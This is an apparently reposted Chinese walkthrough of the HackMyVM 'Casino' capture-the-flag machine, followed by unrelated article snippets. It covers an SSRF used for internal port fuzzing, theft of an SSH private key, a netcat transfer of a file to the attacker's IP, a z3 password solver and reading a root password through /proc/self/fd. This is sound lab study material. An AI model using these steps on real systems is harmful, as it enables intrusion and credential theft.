hackmyvn-casino

arp-scan -l

nmap -sS -v 192.168.255.205

目錄掃描

dirsearch -u http://192.168.255.205/ -e *

gobuster dir -u http://192.168.255.205 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

80端口

隨便注冊一個賬號
玩游戲時的url
將錢用完時的url
可以發現錢用完之后系統會將我們重定向到en.wikipedia.org域名上托管的維基頁面。此頁面似乎包含如何有效使用網站的規則。
wiki頁面似乎與web應用程序不在同一服務器上。讓我們用我們的IP地址替換該頁面,看看web應用程序是否也可以從我們的服務器檢索wiki頁面。
開啟http服務,嘗試上傳本地文件

FUZZ 端口

seq用于生成一系列的數字序列。
seq 0 65535 > port.txt
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt
該頁面的cookie
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt --hh 1128
訪問6969端口
翻譯
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 1128
訪問codebreakers
查看源碼,得到
在當前目錄訪問shimmer_rsa,得到私鑰

22端口

連接ssh

ssh-keygen -y -f id
將私鑰轉化為公鑰,得到用戶名
ssh shimmer@192.168.255.205 -i id
ELF 是 Linux/Unix 系統標準的 二進制可執行文件格式
傳輸pass文件
nc -lp 1234 > pass2
nc 192.168.255.149 1234 < pass
放進ida中
  1. 程序開始時,提示用戶輸入密碼(通過?printf?函數),然后從標準輸入(stdin)中獲取用戶輸入的密碼(通過?fgets?函數)。獲取的密碼存儲在字符數組?s?中。
if ( s[strlen(s) - 1] == 10 ):檢查字符串 s 的最后一個字符是否為 ASCII 碼值為 10 的字符(即換行符 \n)。
  1. 然后檢查輸入的密碼是否正確,調用?checkPasswd?函數進行驗證。如果密碼不正確,則程序直接返回,不執行后續操作。
  2. 如果第一個密碼驗證通過,則嘗試打開文件?/opt/root.pass(通過?open?函數)。然后獲取當前用戶的用戶 ID(UID)(通過?getuid?函數),并使用?setuid?函數將程序的有效用戶 ID(EUID)設置為當前用戶的 UID。
  3. 程序接著提示用戶輸入第二個密碼,并將其存儲在字符數組?s1?中。
  4. 如果第二個密碼是?ultrasecretpassword,則將?argva?設置為 "sh",將?v7?設置為 0,然后調用?execvp?函數以執行 "/bin/sh",從而打開一個 shell。
  5. 如果第二個密碼不是?ultrasecretpassword,則程序打印?bye.?并返回。
寫腳本
輸出滿足要求的字符串:
from z3 import *
#創建26個變量,每個變量表示字符串中對應位置的字符
a = [Int('a[%d]' % i) for i in range(26)]
#創建一個 Z3 solver 實例
solver = Solver()
#添加字符串長度等于 26 的約束
solver.add(len(a) == 26)
#約束條件列表
constraints = [
a[0] - a[20] == -10,
a[1] + a[6] == 208,
a[2] - a[4] == 10,
a[3] - a[14] == -2,
a[4] * a[25] == 10100,
a[5] + a[17] == 219,
a[6] - a[10] == -11,
a[7] - a[20] == -10,
a[8] * a[17] == 11845,
a[9] - a[18] == -7,
a[10] - a[24] == 1,
a[11] * a[4] == 9797,
a[12] - a[3] == 3,
a[13] * a[11] == 11252,
a[14] - a[13] == -2,
a[15] == a[23],
a[16] - a[8] == -5,
a[17] * a[7] == 10815,
a[18] - a[14] == -2,
a[19] - a[0] == -8,
a[20] - a[23] == 4,
a[21] + a[7] == 220,
a[22] - a[1] == 15,
a[23] == a[15],
a[24] * a[2] == 12654,
a[25] - a[12] == -15
]
#添加約束條件
for constraint in constraints:
solver.add(constraint)
#檢查約束是否滿足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("滿足條件的字符串為:", result)
else:
print("找不到滿足條件的字符串")
兩部分密碼分別為:
ihopethisisastrongpassword
ultrasecretpassword
cd /proc/self/fd
ls -la
cat <&3
root密碼:masteradmin420
參考:
hmv[-_-]casino – starsea-blog-成長見證
CTF Walkthrough for HackMyVM Machine Casino | Christ Elise
https://www.bilibili.co m/video/BV1Qi42197yT/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/76324.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/76324.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/76324.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

圖表配置表增加分析指標字段

在設計報表圖表配置表時&#xff0c;為存儲 同比、環比 這類分析指標&#xff0c;建議通過以下方式定義字段結構和命名&#xff1a; 一、字段設計方案 // 配置表示例結構 interface ChartConfig {id: string; // 唯一標識name: string; // 圖表…

廣州SMT貼片加工廠精密制造工藝解析

內容概要 在電子制造領域&#xff0c;SMT貼片加工技術已成為現代電子產品精密組裝的核心環節。廣州作為華南地區電子產業的重要樞紐&#xff0c;其SMT貼片加工廠通過融合自動化設備與嚴格工藝標準&#xff0c;構建起高效可靠的制造體系。 對于電子產品制造商而言&#xff0c;…

RK3568-適配ov5647攝像頭

硬件原理圖 CAM_GPIO是攝像頭電源控制引腳,連接芯片GPIO4_C2 CAM_LEDON是攝像頭led燈控制引腳,連接芯片GPIO4_C3編寫設備樹 / {ext_cam_clk: external-camera-clock {compatible = "fixed-clock";clock-frequency = <25000000>;clock-output-names = "…

關于 @Autowired 和 @Value 使用 private 字段的警告問題分析與解決方案

問題背景 在使用 Spring 框架進行開發時&#xff0c;我們經常會使用 Autowired 和 Value 注解來進行依賴注入和屬性值注入。然而&#xff0c;當我們將這些注解應用于 private 字段時&#xff0c;IDE&#xff08;如 IntelliJ IDEA&#xff09;可能會顯示警告信息&#xff0c;提…

Flutter 開發環境配置--宇宙級教學!

目錄 一、安裝環境&#xff08;Windows&#xff09;二、Android 創建Flutter項目三、VSCode 搭建環境四、補充 一、安裝環境&#xff08;Windows&#xff09; Flutter SDK 下載 推薦使用中國鏡像站點下載 Flutter SDK&#xff0c;速度更快&#xff1a;中國環境 或者從官網下載…

碰一碰發視頻網頁版本開發的源碼搭建指南

引言 在數字化信息快速傳播的時代&#xff0c;近場通信&#xff08;NFC&#xff09;技術為信息交互帶來了新的便捷方式。通過網頁版本實現碰一碰發視頻功能&#xff0c;能夠讓用戶在瀏覽器環境中輕松實現視頻分享&#xff0c;拓展了視頻傳播的途徑。本文將詳細介紹碰一碰發視頻…

OMNIWeb 數據介紹

網址&#xff1a;SPDF - OMNIWeb Service 注&#xff1a;OMNI并非特定縮寫&#xff0c;僅表示"多樣化"含義。 About the Data All the data to which this interface and its multiple underlying interfaces provide access have in common that they are relevan…

Python學習(二)操作列表

一、列表的遍歷 每個縮進的代碼行都是循環的一部分&#xff0c;且將針對列表中的每個值都執行一次。因此&#xff0c;可對列表中的每個值執行任意次數的操作。 magicians [alice, david, carolina] for magician in magicians:print(magician)注意&#xff1a; 1、遍歷的時…

淺析RAG技術:大語言模型的知識增強之道

淺析RAG技術&#xff1a;大語言模型的知識增強之道 &#x1f3e0; 引言&#xff1a;當生成遇到檢索 在人工智能領域&#xff0c;大型語言模型(LLMs)如GPT-4、Llama3等展現出了驚人的文本生成能力&#xff0c;但它們也面臨著知識滯后、事實性錯誤等挑戰。Retrieval-Augmented …

Linux Vim 編輯器的使用

Vim 編輯器的使用 一、安裝及介紹二、基礎操作三、高級功能四、配置與插件 一、安裝及介紹 Vim是一款強大且高度可定制的文本編輯器&#xff0c;相當于 Windows 中的記事本。具備命令、插入、底行等多種模式。它可通過簡單的鍵盤命令實現高效的文本編輯、查找替換、分屏操作等…

Windows 圖形顯示驅動開發-WDDM 2.4功能-基于 IOMMU 的 GPU 隔離(三)

幀緩沖區保留 對于必須在電源轉換期間將幀緩沖區的保留部分保存到系統內存的驅動程序&#xff0c;Dxgkrnl 會在適配器初始化時對所需內存進行用量認可。 如果驅動程序報告 IOMMU 隔離支持&#xff0c;則 Dxgkrnl 將在查詢物理適配器上限后立即調用 DXGKDDI_QUERYADAPTERINFO&a…

UML之擴展用例

UML用例建模面向業務實現或者系統功能&#xff0c;每一個用例實現一個完整的業務或者功能。而一個完整的用例也可能有一些不是必需的附加功能&#xff0c;或者在該用例已經實現后需要添加一些新功能&#xff0c;此時可以通過UML提供的擴展用例機制描述類似這樣的場景。 例如對…

大數據學習(95)-謂詞下推

&#x1f34b;&#x1f34b;大數據學習&#x1f34b;&#x1f34b; &#x1f525;系列專欄&#xff1a; &#x1f451;哲學語錄: 用力所能及&#xff0c;改變世界。 &#x1f496;如果覺得博主的文章還不錯的話&#xff0c;請點贊&#x1f44d;收藏??留言&#x1f4dd;支持一…

行式存儲(Row-based Storage)與列式存儲(Column-based Storage)詳細對比

行式存儲&#xff08;Row-based Storage&#xff09;與列式存儲&#xff08;Column-based Storage&#xff09;詳細對比 1. 數據組織方式 類型行式存儲列式存儲存儲結構按行存儲數據&#xff0c;每條記錄的所有字段&#xff08;列&#xff09;連續存放&#xff08;如一條訂單的…

Seg-Zero:通過認知強化實現的推理鏈引導分割

文章目錄 速覽摘要1. 引言2. 相關工作2.1. 大模型中的推理能力2.2. 結合推理的語義分割2.3. 用于分割任務的 MLLMs 3. 方法3.1. 流程建模&#xff08;Pipeline Formulation&#xff09;3.2. Seg-Zero 模型3.3. 獎勵函數&#xff08;Reward Functions&#xff09;3.4. 訓練&…

win server2022 限制共享文件夾d

點擊配額管理中的配額 然后創建配額 導入要配額的文件即可 然后確定即可

Docker容器部署Java項目(詳細版)

&#x1f91f;致敬讀者 &#x1f7e9;感謝閱讀&#x1f7e6;笑口常開&#x1f7ea;生日快樂?早點睡覺 &#x1f4d8;博主相關 &#x1f7e7;博主信息&#x1f7e8;博客首頁&#x1f7eb;專欄推薦&#x1f7e5;活動信息 文章目錄 Docker容器部署Java項目1. 環境及準備2. 項目…

C語言深度解析:從零到系統級開發的完整指南

一、C語言的核心特性與優勢 1. 高效性與直接硬件控制 C語言通過編譯為機器碼的特性&#xff0c;成為系統級開發的首選語言。例如&#xff0c;Linux內核通過C語言直接操作內存和硬件寄存器&#xff0c;實現高效進程調度。 關鍵點&#xff1a; malloc/free直接管理內存&#…

Pytorch實現之基于GAN+序列后向選擇的情緒識別增強方法

簡介 簡介:在WGAN-GP+CGAN的基礎上利用了序列后向選擇方法來挑選優質樣本補充到訓練集當中,豐富訓練數據集。 論文題目:基于生成對抗網絡的情緒識別數據增強方法 期刊:傳感技術學報 摘要:使用深度學習方法構建高準確率的情緒識別模型需要大量的情緒腦電數據。 生成對抗…

軟件工程面試題(十九)

1、十六進制的216轉換十進制是多少: 216是16進制,轉10進制: =2*16^2+1*16^1+6*16^0 =512+16+6 =536 2、Java中的XML解析方式: dom和jdom解析 Java中處理XML文檔的標準API有兩種,即XML的簡單API(SAX,Simple API for XML)和文檔對象模型(DOM,…